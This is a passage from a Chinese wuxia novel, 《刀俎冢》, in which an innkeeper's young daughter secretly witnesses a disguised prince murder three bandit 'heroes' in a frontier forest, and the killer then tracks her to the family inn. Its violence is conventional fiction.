《刀俎冢》
1. 风云客栈
腊月寒冬,往日热闹喧嚣的蜿蜒古道之上丝毫不见任何行人的身影,昨天夜里才下了一场鹅毛大雪,耸立于侧面陡峭山坡的松树之上挂着层层白霜。一眼望去,整片大地都覆盖在茫茫的银装素裹之下。
这时,远处传来三声清脆的犬吠,但见一黑色大狗从山坡后猛然窜出。
那黑犬足有三尺高,通体黑亮,脖子上系着红色编绳的黄铜铃铛。只见它跑得飞快,叮当作响的铜铃声便随着呼啸的寒风向四面八方传开。
而在大狗身后,隐约出现一个高大的身影,正低着头深一脚浅一脚地艰难行走着。凛冽的寒风似在耳边咆哮而过,男人全身从头到脚裹得严严实实的,只露出一双有神的眼睛。
那人右手持一把斧头,左手则提着一个结了冰的网袋,那网袋里正好有两条早已被刺穿了身体的大鱼。
“爹爹!爹爹!”迎面传来孩童叫声。
“您真的抓鱼回来了!”那叫喊的孩童正从山脚下的一户人家门口飞奔而出,年纪十一岁左右的样子。
只见他一个猛扎,窜上前去抱住大黑狗骨碌碌一连滚了三个滚,直到滚得身上都是雪,然后忙不迭地一路大喊着向那男子奔去。
男人见状,赶忙迎上前去,将左手的网袋倒到右手,揪住他的耳朵:“小鬼,就你耳朵好使。”
“我听到铁黑的叫声还有铃铛声,就知道是爹回来了。”
那男孩一低头,就看到男人手中提着的渔网,一看竟有两条大鱼心下更是惊喜,大声说道:“娘说了,如果您真的打鱼回来了,咱们就烤鱼吃!”
“哈哈哈哈哈哈,好,烤鱼吃!”父子二人一路笑着走进一家客栈,门上牌匾刻着四个大字——风云客栈。
这家名为风云客栈的二层小楼,便是林风桥和宋云莲夫妇二人的全部身家。此客栈是宋云莲父亲宋威年轻时便开始经营的,伫立在此地已有40余年。它地处北盛与边夷的交界处,具有得天独厚的地势,每到旺季往来车队络绎不绝。
而这一对掌柜夫妇更是在附近有口皆碑。妻子宋云莲烧的一手好菜,其酿酒技术更是远近闻名。丈夫林风桥则是骑马捕鱼样样精通,他夫妇二人不仅皆有些许武艺傍身,而且正是有着这些手艺才能将小小的风云客栈打理得井井有条。
这对林氏夫妇膝下共有一子一女,大的男孩十二岁,小的女孩十岁。此时大儿子林行远正兴高采烈地欢呼着!
“娘,爹回来了!”
林风桥放下手中的鱼,便跑向里屋去看。夕阳透过窗子打在妻子清秀的脸庞之上,此刻她正拿着手中针线为一家人缝制过冬用的棉衣。而翘着脚坐在一旁,托着腮的小女孩正是自己的小女儿林醒致,她自封“长奚古道小霸王”。
他惊讶今天这小娃竟如此老实地待在一旁,若是往日,她不是在房顶就是在水缸里,要么就是骑着铁黑在小道上横冲直撞,直到铁黑脚下一滑给她摔个狗啃泥。
可他再定睛一看,原来那小鬼头被点了穴,一双大眼睛正滴溜溜地转个不停,翘起的脚尖似乎也在微微颤抖。林风桥笑着走上前去,给她解了穴道。
“你这丫头,又惹到你娘了吧。”
“我没有,我,怎么敢惹娘生气啊。”
“呦······”宋云莲托着长音,“是谁刚才非要骑着铁黑出门的啊,让你这小鬼头老老实实在这待着看给你难受的。”
“你先去把这鱼杀了洗干净,我过会儿就去。”
林风桥提着鱼转身向厨房走去。
林醒致见父亲走远,三步并作两步地颠到母亲面前趴着“娘,你再把刚才没讲完的江湖传说接着说完嘛。”
宋云莲边缝边对着女儿低语江湖旧事——雪岭飞针”的传说:“话说百年前有位女侠,能用绣花针射落三里外的秃鹫······当年边夷漠北部进犯之时,她的后人更是曾以此针,钉穿漠北三煞的琵琶骨…正所谓针愈小,愈要直指命门,不过······你娘我只见过镇北王家的郎中用银针治腰痛。”
“十一年前你外祖父刚去世不久,我们夫妇二人便正式接手了风云客栈。一天大雨之夜,客栈外出现一位浑身血污的异族少年,我们看他身受重伤,便将他救起,但少年一直昏迷了两天两夜都没有苏醒,更何况药石难医。
那少年在临死之前将他身上的一件皮袄送给我们,我们不要,他却执意要将这皮袄留下,说是难得之物。并告诉你爹,长奚古道旁的鬼哭湖中有一件宝贝在铁盒之中,而他已将铁盒沉湖,待日后我们若有机会可将其取出,他似乎还想要拜托我们什么事情······但话还没说完,便气绝而亡了。”
“我们按照那少年的嘱托,将他葬在红泉山上,这件皮袄我们也就留了下来,但我们从未去鬼哭湖找过铁盒,既然已经沉湖那便是一个永久的秘密了。”
林醒致一边听着,一边还是思绪纷飞。她对这个鬼哭湖倒是很有印象,因为自己经常带着铁黑顺着长奚古道一路玩耍路过那里。
她记得鬼哭湖的湖水呈现极深的墨绿色,大人们都说这湖深不见底,不知淹死过多少无家可归之人,更有甚者传言这湖底的亡魂因为久久没有回到故里而化作水鬼作祟,若是小孩子在湖边玩耍,水鬼便会趁他们不注意将其拉入水中,吸食其灵魂。
想到这里,林醒致不由得打了个激灵。
宋云莲接着说:“两年后的寒冬湖面冰层竟然罕见开裂,随后便地动山摇,那湖水竟然喷薄涌出。待到第二天,我们二人检查院子之时却见一个不大不小的铁盒处在院落中央,客栈的大门也被这铁盒撞出一个洞来。”
“那铁盒可······能打开?里面到底有什么啊?”
只见母亲摇摇头说道:“什么都没有。”
“什么都没有?”林醒致惊呼,“那······那位哥哥为什么要带着它,还要把他沉浸湖里呢?”
宋云莲接着说:“这铁盒中内除霉烂的食物外并无任何东西。倒是我从小随父亲行商,大致听过漠北人大多用狼皮作袄,而那少年留下的这件破旧不堪的皮袄颜色和厚度倒是比寻常皮袄都要厚上许多,所以我推测这是一件冰狼皮袄。”
“冰狼皮袄?”林醒致瞪大了眼睛,惊讶地望着母亲。
宋云莲肯定地点点头,“这皮袄不大,成人不能穿行下,我们看这皮袄的腋下快磨穿了,便想着改上一改,等行远长大了,就能给他当冬袄。”
“喏,你看就是这件。“
原来宋云莲手中一直缝补的这件便是那位少年人留下的冰狼皮袄。
只见宋云莲一双巧手,始终没有停下,她拆出皮袄内层较完整的狼腹皮,裁成两块腋下补丁。她一针一线,将已经残破的地方缝补完好。
林醒致正听得津津有味,嘴里念叨着:“娘,这些故事都好生神奇,那位大哥哥怕不是被仇家追杀,但最终寡不敌众,只得殒命了。倘若他功夫极高,便是什么人来也不怕。只是现如今又能去哪里学到如此厉害的功夫呢?就像那位飞针女侠一样!”
林醒致说着,便开始挥舞着双手摆出左手右手全是飞针的样子,仿佛她双手一挥便能将敌人送上西天。
宋云莲微微一笑,用手轻点小女儿的鼻子:“怎么,你还想当个大侠呀?”
这时,林醒致突然从椅子上跃起,朗声说道:“我就是想当大侠,行侠仗义,为民除害。娘,你和爹明明都有一身武艺,却只愿意在这冷僻的地方开一个客栈酒馆,你们不觉得无聊吗,难道就不想去天南地北闯上一闯吗?”
宋云莲听见女儿说的话,眼神中似乎有一瞬间的错愕,但很快又匆匆散去。曾几何时,幼年时期的她也曾幻想过一辈子都过上仗剑天涯的逍遥日子。可如今,她却觉得,即使一辈子生活在偏僻的乡野过着日复一日的平淡生活,她也会觉得无比幸福。
恍惚中,耳畔想起父亲对她说的话:倘若,要成为大侠必须以生命为代价呢?古今多少剑侠刀客,哪位不是背负着血海深仇,他们有的人妻离子散,有的从小便是孤儿,终其一生都在苦苦寻找着凶手。有的人即使找到了凶手,却因为武力不敌,一辈子报不了深仇大恨,而郁郁而终。
更有甚者,因为行侠仗义,却无端给自己和家人引来杀身之祸,如此,你还想当一位大侠,你还想要名扬天下吗?
现如今,宋云莲将这句话原封不动地说给女儿听,希望她能和自己一样早些断了成为大侠的念想。
但看到女儿不知所措的神情之时,宋云莲接着说道:“更何况,能成为武林大侠的人们,往往都具有惊人的耐力和勇气,你能做到吗?他们之中多少人根骨神奇,是天生的练武坯子,你又是吗?”
宋云莲在一旁说着,坐在一边的林醒致却不知何时缓缓低下了头。她只听到了“家破人亡”,后面母亲再说什么,她一个字也没有听到了。
倘若要当大侠,便要付出亲人生命的代价,让自己背负上血海深仇,那她宁愿一辈子当一个乡野丫头,一辈子陪在爹娘的身边,他们永远都不会分开。
想到这里,林醒致赶忙站起身,摇着手说道:“娘,我不要当大侠了,此后也不会再提,想来我也并非天赋异禀之人,这辈子老老实实生活,不会再做什么不着边际的梦了。”
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她说完,便又像往常那样依偎在母亲的怀中,亲昵地用脸蛋蹭着母亲的粗布衣服。宋云莲一边笑着,一边捧起她的小脸:“瞧瞧,这天冷给你的小脸冻的,就像······”
“像什么?”林醒致故意鼓起自己的脸蛋,两腮鼓鼓的,像塞了两个馒头。
“像······像小猴的屁股。”这时,少年从门外提着一捆柴火快步跑了进来。原来是林行远接了话茬,他甚至绕到背后偷偷捏了一下妹妹冻红的脸。
这话一接可不要紧,简直是彻底激怒了林醒致,她便用娘亲早前教她防止晕厥的手法,趁着林行远还没反应过来,便已经按住他右腕上三寸,狠狠下指。
娘说过,腕上三寸是内关穴,晕船时按这儿比拜河神管用,自己便用这法子来对付他。
林行远感觉微痛,左手出掌向妹妹脖子横扫过去,但林醒致反应极快,她个头本来就比哥哥矮上一点,急忙下蹲,冲着林行远肚子上就是一拳,打德林行远猛然后退,直接磕在了墙上。
“就你还想当侠客?别搞笑了,你哥我成大侠的概率怕是比你都高。”
林醒致小脸一绷,斜睨着眼睛瞪着林行远,转身抄起从盘中的一块红豆糕塞到他的嘴里。
“吃你的糕去!”
林行远嘴被撑的鼓鼓的,一时间糕点卡在口腔嚼不动也吐不出,就在他急忙揉搓着肩膀之时,却又被赶上前来的林醒致反掐住手背的养老穴,酸得哇哇大叫。
“啊啊啊,娘,你看她。”林行远痛得龇牙咧嘴,他急忙道歉,“好妹妹,我错了。”
“快放开你哥,学点东西你就用上了”宋云莲一边笑着一边将手中的补好的小皮袄抖上一抖。
林醒致倒也马上松开了手,抱着胳膊在一旁坏笑。
“娘,我倒是看出来了,比起哥哥我这习武的根骨啊似乎还可以的。”
“你那算什么根骨神奇,就是仗着大家宠你,耍上一些小把戏罢了。”外屋的林风桥听见内屋有细微的打斗之声就知道又是那两个小鬼头开始斗法了。
“才没有,明明是他技不如人。”
“行远,别急,等明天娘再教你一招克制妹妹的招式,哈哈哈哈。”宋云莲笑着说道。
此时的林醒致涨红了脸,明明是她活学活用,可爹娘每次都觉得是哥哥让着自己,那个呆瓜明明根本是招架不住的。
突然,她的脑海中浮现出,过去她们兄妹二人同村子里的孩童一起做游戏,每每赢得打赌的筹码,可是那几个孩子却总是赖账,耍赖不成便动起手来,哥哥每次都是劝她息事宁人,可她偏偏不信邪,就是要和那几个恶童拼个你死我活。
结果回到家中,自己和哥哥的脸上总是挂着彩,却也在此之前将那几个孩童打得是屁滚尿流。
只不过爹娘还得提上自家最好的美酒----玉华酿去跟那几个泼皮无赖的爹娘去道歉,想想真是好生无理。
长此以往,那几个横行霸道的孩童气焰便更为嚣张,每每在村中遇上,他们总是要羞辱一番兄妹俩。本着不给辛劳的父母添麻烦的原则,林醒致一改以往“该出手时就出手”的暴脾气,她开始学会了忍耐,只是这份忍耐对她来说到底是十分煎熬了。
林醒致想到这里,便一溜烟跑了出去,任凭娘亲在后面呼喊她也没有回头,闷着头一口气直接跑到了村子后面的红泉山中。
这红泉山和红泉村一样得名于山顶之上的一湾红色泉水。人们传说这红泉山上的红色山泉喝一口可以强身健体,喝两口可以包治百病,若是喝上一大坛便能返老还童,而要能长久饮用,便能长命百岁直达永生。
如此传说倒也的确引来无数人慕名而来,但是谁也没有爬上过红泉山的山顶,去一睹那红泉水的“庐山真面目”。
说来也邪,无论是刮风下雨还是湖水决堤,这山上的红泉水却是从来没有冲下过山。附近的村民更是没有见过半滴红泉水,一切有关红泉的传说都只是存在于这一段段的传说之中。
跑出家门的林醒致一路狂奔,不知跑了多久,似乎已经进到丛林之中,却突然脚下被一块石头绊倒,狠狠摔在了地上。
她艰难地爬起来,阵阵刺痛从手臂和膝盖传来,低头一看,果不其然腿和手臂都已经开始渗出丝丝血迹。
她倚靠在一颗巨大的松树之下,一边吹一边暗暗神伤。一旁的铁黑则喘着粗气,急切地摇着尾巴,似乎很是想要帮她分担一些痛苦。林醒致将小手覆上铁黑的头,轻轻地抚摸着它。
就在这时,身后的树林深处,竟传来一阵争吵之声。林醒致猛然回头,向林中望去。
2. 林中血案
林醒致回头看见树林深处竟有一秃头和尚和两位身着华服的公子相对峙。
只见那老和尚年纪得有七八十岁,面容的皮肤皱巴巴地贴在骨头上,下巴上花白色的胡须一直垂到胸前。
尤为奇特的是,他有着一个巨大的驼背,那高耸的驼包形状并不规则却也被掩盖在肥大的红色袈裟之下。
不过,他虽然看上去十分衰老,一双眼睛却炯炯有神,甚至蕴含着逼人的锐气,如今他正赤手空拳地站在原地按兵不动。
位于他对面的两位华服公子则年纪约莫三十来岁,一人身着墨绿色长衫,但他的手中并无武器。只见他尚且年轻,却已经满头发丝黑白相间。
而另一位则身着黑色长卦,身壮如牛,魁梧异常,一对黑色铁锤,正怒目而视地站在那里。
墨绿色长服的公子抢先开口说道:“老和尚,这鼓岭血玉你既已经拿到了,何不拿出来让在下开开眼界。”
另一位魁梧的壮汉也接着说道:“对,老和尚,你如今宝玉在手,自然是准备逍遥快活去了,可我们哥俩还没见过呢,拿出来让哥几个瞧瞧。否则,今天你是想走也走不了了!”
老和尚站在树林中央静静地听着他们的对话,脸上全然没有任何惧色,他朗声说道:“老衲,初到中原,虽对这里的风土人情不甚熟悉,但也对中原武林的各位英雄好汉有所耳闻,敢问阁下可是青州三雄中的两位?”
那手持铁锤的壮汉抢先开口,只见他将手中的一双铁锤狠狠摔在地上。这一摔不要紧,但见一双铁锤直直嵌入到地面之中,力量之大无与伦比,周围岩石表面的尘土也被这突如其来的掌力震得四下纷飞,顿时黄沙漫起。
这一下巨大的声响,着实将黑铁吓得不清,就在它即将发出一声呜咽之时,林醒致反应极快,赶忙将铁黑的嘴巴死死捂住,让它无法发出一点声音。
她如今只得小心地躲在树后面,如此危险的时刻,倘若发出一点声音,被眼下几个人发现,自己这条小命定然是不保的。林醒致注视着眼前的几人,她看到那老和尚挥动右手的红色袈裟,将黄土快速隐去,手法及其轻巧。
那壮汉男子大声说道:“没错,在下行不更名,坐不改姓,铁锤流星龚阿四,这位是我兄长--鬼浮针龚百义。我们还有一位拜了把子的义弟还未赶到,现在我们两个对你一个已经是绰绰有余,若是我们三个人一起上,嘿嘿”,龚阿四邪笑道:“你这老秃僧怎么死的怕是都不知道。”
说完,这二人竟放声大笑起来。
一旁偷看的林醒致则心中暗暗道:“这二人真是好生狂妄,比试尚未开始就先自行定了胜负,怕不是一会儿要被这老和尚狠狠教训一番。”
她心中这样想着,眼神却不由自主地看向那老和尚。
只见那老和尚摇了摇头,说道:“阿弥陀佛,老衲生平最不爱与人争强斗狠,出家人以慈悲为怀,怎可随意与人大打出手。还烦请两位施主放过老衲一马。”他说完便双手合十,恭敬地向那二人鞠了一躬。
只可惜他话音刚落,正站在他对面的龚百义便咬牙切齿地说道:“你个老秃驴,别在这跟我们兄弟俩扯什么大道理,你小爷我们兄弟三人自小就靠打家劫舍为生,出生入死均不在话下,就连我们身上的这几件衣服也是我们从死人身上扒下来的。更别提你手上有整个武林都在寻找的鼓岭血玉,你说我们会放你走吗!”
说着话,他的脚步便开始慢慢地向老和尚靠近。
突然他猛步上前,左右手分持不同的鹰爪之势,一手向老和尚的脖颈处抓去,另一只手则向他后背袭来,动作狠辣异常。
只见那老和尚弯腰躲避龚百义从后袭来的鹰爪手,下一秒前胸直上的鹰爪便险些擦着他的喉结而过,竟抓了个空。
龚百义眼色一凛,心道他这招鹰爪功自认为已经练得炉火纯青,在这武林中也算是有头有脸的人物,今天怎得出手几招却并未将这老秃驴拿下。
随即他继续出手,分别向那和尚的胸口,腹部,头顶多方位进行攻击,但都被老和尚一一格挡回去。虽然他并未能伤到老和尚分毫,但那老和尚犹不能胜于他,二人一时间僵持不下。
老和尚转身躲避,一脚踩在树干之上,竟施展轻功,分别踏在周围的树干之上躲避龚百义的攻击。
那龚百义紧随其后,一双利爪多次扑空,狠狠插在树干之上,待拔出时竟然直接将一半的树干和树皮一同撕裂。
一时间周围的大树纷纷倒塌,尘土飞扬,林醒致躲在一旁,默默祈祷这二人千万不要打到她的头顶上面。
“保佑保佑,佛祖,观世音菩萨保佑······保佑。”就在林醒致正在碎碎念的时候,那龚百义已经三步追上那老和尚,左手伸出抓住他领子将其重摔在地,四下黄土飞扬,力气之大将地面撞出一个大坑。
只见那老和尚口吐鲜血,龚阿四手中两只铁锤便向他袭来。
当当,两声重锤,他手中流行铁锤重砸在地上,在原来的大坑之上又锤出了两个坑。
而那老和尚早已经以迅雷不及掩耳盗铃之势,滚爬起身,转身将手中一直握着的一串佛珠扔出。
那佛珠足有牛眼珠那么大,颗颗呈现浓郁乌黑,是上好的黑曜石珠。只见那佛珠飞速旋转,直奔龚阿四面门而去。他忙合并铁锤遮挡反手将那佛珠击落。佛珠落到地上,断裂成颗颗散珠,却有几颗仍然被地面反弹,乃至深深镶嵌在一旁将倒未倒的树木之上。
“他爷爷的,老秃驴速度够快。”龚阿四怒目圆睁,嘴里骂骂咧咧,他啐出一口吐沫,手中铁锤狠狠撞击,发出震天巨响,接着冲上前去与那老和尚继续缠斗。
林醒致躲在树后虽然距离较远两个人的具体打斗看得不甚清晰,但由于她的听力极好,只需凭借那二人打斗的动静,便能分清谁略处于上风。她刚才分明看到老和尚重摔在地,非死即伤,现如今他定然是要命丧于这两位强盗之手。
想到这里,她不禁暗暗在心里为老和尚捏了一把汗,竟然默默希望他能逃过这一劫。
而那老和尚刚才经过一摔,五脏六腑皆已受到重震,他只觉得从丹田之处升起一股巨大的内力洪流,一路顺着小腹翻涌而上,灼烧之感倍增。
他心下一喜,双腿一跃,便落在一颗松树之上。只见他单脚站立,右腿盘于左腿之上,并将左手摸进袈裟内里,右手发功运气,口中则在默念什么口诀。
龚百义和龚阿四两兄弟站在树下,嘴角略带讥笑地看着老和尚表演。他们都明白,这秃驴如今是负隅顽抗,他就算是发功运气也不是他们的对手。
此时龚阿四双锤齐齐脱手飞出,重锤直接砸向老和尚所站立的那棵树的树根。
在松树不堪重击,即将倾倒之时,一旁的龚百义三步并作两步飞身上树,左手指缝中的四枚飞针尽数飞出向那和尚胸口刺去。
但奇怪的事情发生了,那老和尚眼睛紧闭,在飞针向他袭来的那一刻,他一双眸子迅速睁大,双掌在胸口划圆铺开,竟瞬间将那四枚银针全部还击回去。
而龚百义则来不及躲闪,他根本想不到自己这份独门暗器竟然有人能够轻易化解。只见那四枚银针全部钉入龚百义体内,他痛苦地大叫一声,坠落在地。
龚百义倒地后便面色铁青,口吐白沫,原来那四枚银针之上早已涂满毒药。他这一招终究是害人又害己了。
“大哥,大哥”,龚阿四看见兄长的惨状,心下又绝望又愤怒,他撕心裂肺地怒吼着,挥舞着手中铁锤向老和尚砸去。
“苦禅,我要你的命,我要敲碎你的脑袋,喝你的血!!”他的眼睛此时已经因为激愤而变得满目血红,手中铁锤功夫比刚才威力更胜,那苦禅和尚招架不住,只得四下躲避。
就在这时,丛林深处一道青色身影飞出,那也是一位身着华服的公子,腰间竟坠着一块白玉腰牌。他手中持一柄银色长剑,这人正是青州三雄的老三--断手长剑胡长清。
龚阿四见义弟已经赶到,心下喜悦却又深表遗憾:“三弟啊,若你早来一步,大哥也不至于命丧这老秃驴之手啊”。
“二哥莫慌,三弟定助你杀死这老和尚,为大哥偿命!”说罢,他飞身上前便与那和尚缠斗在一起。
在一柄长剑和两只重锤的夹击之下,苦禅和尚开始显得力不从心,这匆忙赶来的断手长剑,武功在青州三雄中最为厉害,他一柄长剑可谓是杀人如麻。
传言他们一行人打劫过往商队,他总是要砍下所有人的右手收集起来,沿路挂在树杈之上,威慑其他过路的商队,他也便有了“断手长剑”的名号。
现如今,他的加入倒是给青州三雄加大了胜算。只见他银剑飞入飞出,将那老和尚的袈裟撕成一块块布条,却丝毫不伤及他性命,可见其剑法功力之强悍。
“小兄弟,你撕老衲我的袈裟可是没有半分用处,我怀中的宝玉,你可是拿不去的。”
“哦,今天小爷我便好好陪你斗一斗。”胡长清回复道。
“三弟,不要跟他废话,赶紧一剑刺死他,给大哥报仇。”龚阿四一边出招一边劝还在周旋的胡长清赶快出手,此时正是机不可失失不再来。
“好!”胡长清转身长剑刺出,
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只听“噗”的一声,那一把银剑便刺入对方胸口。只是他刺穿的那人不是别人正是他的结拜二哥龚阿四。
那龚阿四觉得胸口一凉,便看见一柄长剑从自己后背肋下直穿胸口而出。他不可思议地瞪大着眼睛,可是一句“三弟”还未说出,那人便将长剑飞速撤出,用袖口擦干了银剑上面的血迹。而龚阿四也正面朝下躺在地上,一命呜呼。
有谁能想到在中原武林小有名气的青州三雄,竟然在这边境苦寒之地栽了大跟头。他们其中两人一个死于自己的毒针,一个则被兄弟所杀,死不瞑目,如此也是为自己的贪心付出了代价。
杀死义兄的胡长清,则一改刚才的狠辣面容,他收起长剑走到苦禅和尚面前,浅鞠一躬,抱拳道:“想不到我隐姓埋名逃到中原这么多年还能见到您。”
“哦,老衲与施主何曾见过?”苦禅和尚回道。
“世子,您的音容笑貌虽然改变,但手上功夫还是依稀有当年模样,我从小随您一同长大,又怎会认错。”
苦禅听到这里,心中觉得计谋已经得逞,方才与那二人缠斗之时,他见胡长清一出现,便故意露出破绽,便想试上一试。想看看这个昔日部下,还记不记得他这个主子。
只见他左手一挥,便从脸上揭下一层人皮面具,面具之下竟是一青年男子的形象,他浓眉大眼,鼻梁高耸,相貌极为端正。
而胡长清则开始用内力为世子疗伤,待他面色稍稍恢复,二人便一同说笑着下山去了。
一直躲在树后,不敢发出半点声音的林醒致才敢稍稍松下一口气,她缓缓放开按住铁黑嘴巴的手,一拍铁黑的屁股,那大黑狗便一溜烟向山下狂奔而去。
林醒致年纪尚幼就亲眼目睹了两个大活人毙命于此的场景,心中着实后怕,不知何时额头上已经沁出一层细密的汗珠。
她拂去汗水,也起身准备下山离开,就在她即将动身之时,突然听到身后传来一阵惨叫。
她回头一看,声音竟然就是出自那华服公子之口。
只见那位外号名为断手长剑的公子,手中牢牢握紧的长剑已经断成三节,而他的整颗头颅正此刻正完全被扣在“老和尚”的手中。
他口中呜咽地发出着声音质问着世子,他怎么也不明白,自己如此忠心,甚至不惜为了他杀害了自己的结拜兄弟,到头来自己誓死效忠的主子,却要杀人灭口。
那世子的手掌丝毫没有半颗迟疑,他将胡长清的头颅一点一点地向下按去,只见那人的天灵盖渗出大量血迹,正顺着眉骨越流越多。
苦禅邪笑着,眼中冷漠至极,此时此刻他的心中没有与部下重逢的喜悦,而满是杀人灭口之后的踏实和畅快。
林醒致被眼前这一幕吓得不轻,本想继续猫在大树之后,但却一扭头,发现脚边正卧着一条黑白相间的毒蛇。
她不由地发出一声惊呼,这声音虽然细小,但很快便被苦禅捕捉到。
他锐利和杀戮的眼光向林醒致这边扫了过来,便看到远处的一棵大树之下隐约有人的衣角浮动,随后一个男孩打扮的孩童便匆忙向山下跑去。
此时他邪念上头,心道既然有人目睹了全部过程,那必不能留!
就在苦禅抬腿即将施展轻功之时,他发现自己的一条腿竟被人死死抓住,动弹不得。而那人正是还并未死透的胡长清。
方才他没有防备,被苦禅一掌偷袭,而后待他拔出长剑,苦禅竟然能够“空手接白刃”。
他两根手指夹住长剑剑尖,其内力瞬时便将长剑折为三段。胡长清方才明白,他这主子刚才与兄弟二人缠斗之时,便是故意使自己落入下风,其功力之高深远非他兄弟三人所能及,他的目的就是引在一旁观战的第三人现身。
而后他又故意放出信号,让自己识破他的身份,现如今他将那二人尽数除掉,便想要过河拆桥了。
苦禅眼睁睁看着男孩向山下跑去,他心中急躁万分,掌中运起八成内力全部汇聚于掌心,向下猛拍一掌。但见那胡长清瞬间颅骨碎裂,血浆飞溅而出,再无生机。
苦禅将那人尸体一踢,疾步向山下跑去,不料没走几步却觉得四肢酸软乏力,他低头一看,小腿不知何时竟被蛇咬了一口。那蛇的毒素此时已经走遍全身,他不得已在原地运功排毒,丝丝黑色脓血从伤口处缓慢溢出。
待到他稍稍恢复,一路飞沙走石赶到山脚下时,哪里还有那男孩的身影,映入他眼帘的只是一片灯火通明的红泉村。
他望着远处,双手死死握住双拳,眼神中则是抑制不住的怒火,他要找到这个孩子,一定要找到!
3. 不速之客
林醒致在目睹这一场惊心动魄的林中血案之后,惊吓过度,一路沿着山上小路狂奔,她只知道一旦自己晚上一步,就可能会命丧那人之手。
好在她一路连滚带爬,等跑到村口之时,便看到母亲提着灯笼正在等她。
林醒致忙跑上前去,吹灭了母亲手里的灯笼,抓住她的衣角,快速离去。
“你怎么了,慌慌张张的,看到了什么?”宋云莲见她神色慌张便急切地问道。
“没什么,没什么······”林醒致一边应付着母亲的追问,一边在心中暗暗思忖,是否要将自己所见之事告诉爹娘。
很快,她们二人就回到了家中,刚一踏进家门,林醒致紧绷的神经便瞬间松弛了下来,她只觉得从头到脚绷紧的那根弓弦,此时已经不再束缚着她。
她一屁股坐在床头,大口大口地喘着粗气。
而她的娘亲不知何时端来一碗红枣姜汤,让她赶紧暖暖身子。
捧在手里的姜汤,嘶嘶热气扑在林醒致冰凉的脸上,慢慢地苍白的小脸才逐渐恢复血色。
“娘,我刚才在林中看到······看到有几个人打斗,其中一人把另外三个人都杀死了。”林醒致咬了咬牙,还是将自己在林中所见告诉了宋云莲。
宋云莲一听,身体随即一滞,说道:“行凶那人可曾看到你?”
林醒致低着头,很不情愿地点了点头,她嘟囔着说道:“他看到我了,我下山的时候,他便要将我抓住,但不知怎的,却没有追上来。”林醒致一边说,一边抓着立在床头的小布老虎。
“你还希望他追上来?”林风桥厉声掀帘进来,他看着林醒致接着说道:“你自己私自跑出去,惹上麻烦,倘若让那老和尚将你擒住,你觉得还活得下去吗?”
林醒致此时羞愧难当,而她心中又再次担忧起来,现在的她害怕极了,她害怕那“老和尚”找上门来。
红泉村地方不大,村户也不多,村里的适龄儿童更是简单排查就能找上门去,现如今那老和尚若是有心追究,怕是没有多少时日,便会找上门来。想到这里,林醒致不禁又打了几个寒战。
但当她抬头看向娘亲的时候,却发现母亲的神色中没有丝毫的慌张,只见宋云莲忙找出一身新的衣服,示意林醒致赶快换上。
“你是女孩子,方才上山作的是一身男孩打扮,现在换上女孩装束,那和尚并未看到你的脸,想来一时半会儿他是发现不了的。”宋云莲叮嘱道。
林醒致接过衣服,三下五除二地换上。
宋云莲随即将林醒致脱下的衣服,扔进了火炉之中,并示意林风桥将这火烧得再旺一些,她要尽快地将这身衣服烧成灰烬。
“你便好好躺在床上,哪也不要去了。”林风桥让小女儿佯装生病,盖上厚厚的被子,不可下床。
“不,你必须在院子里玩耍,装成一副与平常没有差别的样子。想来没有哪个孩童会在亲眼目睹如此血案之后,还能泰然自若地在庭院中玩耍。”宋云莲示意道。
“行远,陪着妹妹好好玩,知道吗?若有人问起,方才你二人一直在庭院中玩耍,并未出大门半步。”
林行远本来砍着柴火,此时却被突然叫进来,母亲还叫他认真陪妹妹玩耍,整得他有些摸不着头脑,不过还是满口答应下来,毕竟比起做游戏,有谁又愿意去砍柴呢?
现如今已近腊月末,客栈中的三两伙计早已提前踏上归家之路,古道上也是人烟稀少,前来入住客栈的人更是寥寥无几。生意虽然进入了平淡期,房屋一间间都是空荡荡的,但却是他们兄妹二人玩捉迷藏的好地方。
他们可以在这客栈里随意的玩耍,无论是上房揭瓦还是四处躲藏,总是够他们两个玩上一阵子。
按照老规矩,林醒致则要将眼睛蒙上,她最爱在捉迷藏中当抓人的角色了。但在这时林行远递给她一条又黑又宽的绑带。
“这什么?”
“是你这赖皮鬼专用的,本来我想着过几天再给你,却不想今天便能派上用场。”
林行远一边说,一边用手将布条抻直,”我让娘用边角料专门给你缝制了一条,足足有四层布,专门对付你这个小赖皮鬼。”
林醒致听这个呆瓜叫她赖皮鬼,心中自是不乐意,但想着自己刚才差点闯下大祸,此刻她也没有什么脸面去反驳哥哥了,只得老老实实听着。
“只要你把这根布条蒙在眼睛上,任凭你怎么瞪大着眼睛,也定是什么光都看不到。就像······村头的老盲头,感受一下眼盲的效果。”林行远说到这里,嘿嘿一笑,“这回你可没机会说什么布条透光,随便耍赖了。”
林醒致轻哼一声,心道:“眼盲又如何,我的心又不盲。”
她仔细端详那布条,却发现其中一段的内里竟绣着一朵红色梅花,她知道这是娘留给她的小巧思,顿时心下一喜,接过黑布带麻利地蒙在眼睛上。
“你快去吧,这一次我定要在半柱香的时间内抓到你。”
林醒致话音未落,就听见哥哥渐远的脚步声。她又等了一会儿,待四下听不到任何脚步声之后,才开始从里屋走向庭院之中。
这一次林行远耍了一个心眼,他躲在了后院柴房角落里的一口空的大水缸中,还特意盖上了竹板盖子。
想来妹妹一路摸索到这里就要费些功夫,就别提即使她能够找到这里,也肯定怎么也想不到,他竟然藏在这水缸之中。
就在他为躲在一个隐秘之处而感到洋洋得意的时候,忽听到院墙之外的两个孩童说道:“你有没有遇到一个奇怪的和尚?他方才抓着我的领子,将我整个人从地上提起,面目特别狰狞······”
另外一个孩童也附和道:“我也遇到了,好生吓人,我今晚都不要再出门了。”
林行远听到这里,心下一惊,脑海中猛然浮现出来一个老和尚的样貌,“这怕不就是娘口中所说的老和尚?他在找人,可得赶快告诉妹妹小心。”
他猛地跳起,将那竹盖掀翻在地,起步飞奔向前院跑去。
在此之前,林醒致已经在前院中认真搜索过一番,但都没有找到林行远的踪迹。就
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在她想要摸索着去后院寻找的时候,她敏锐的耳朵捕捉到了几下细微的脚步声。
林醒致微微一笑,心中料定是这林行远见她久久没有出现,便耐不住性子想要故意来挑衅于她。
“好啊,我看你躲不躲得过!”林醒致心中大喜,她猛地向前一扑,“抓到你了!哈哈哈哈哈哈”。
她本以为自己这一下定是抱住了林行远,可却发觉衣服的材质完全不同,怀中那人明显高大得多,甚至竟有若隐若无的血腥味道传入鼻中。
“啊!”林醒致急忙松手,她拉下黑布,却看到一张惊悚至极的老脸出现在她的面前。
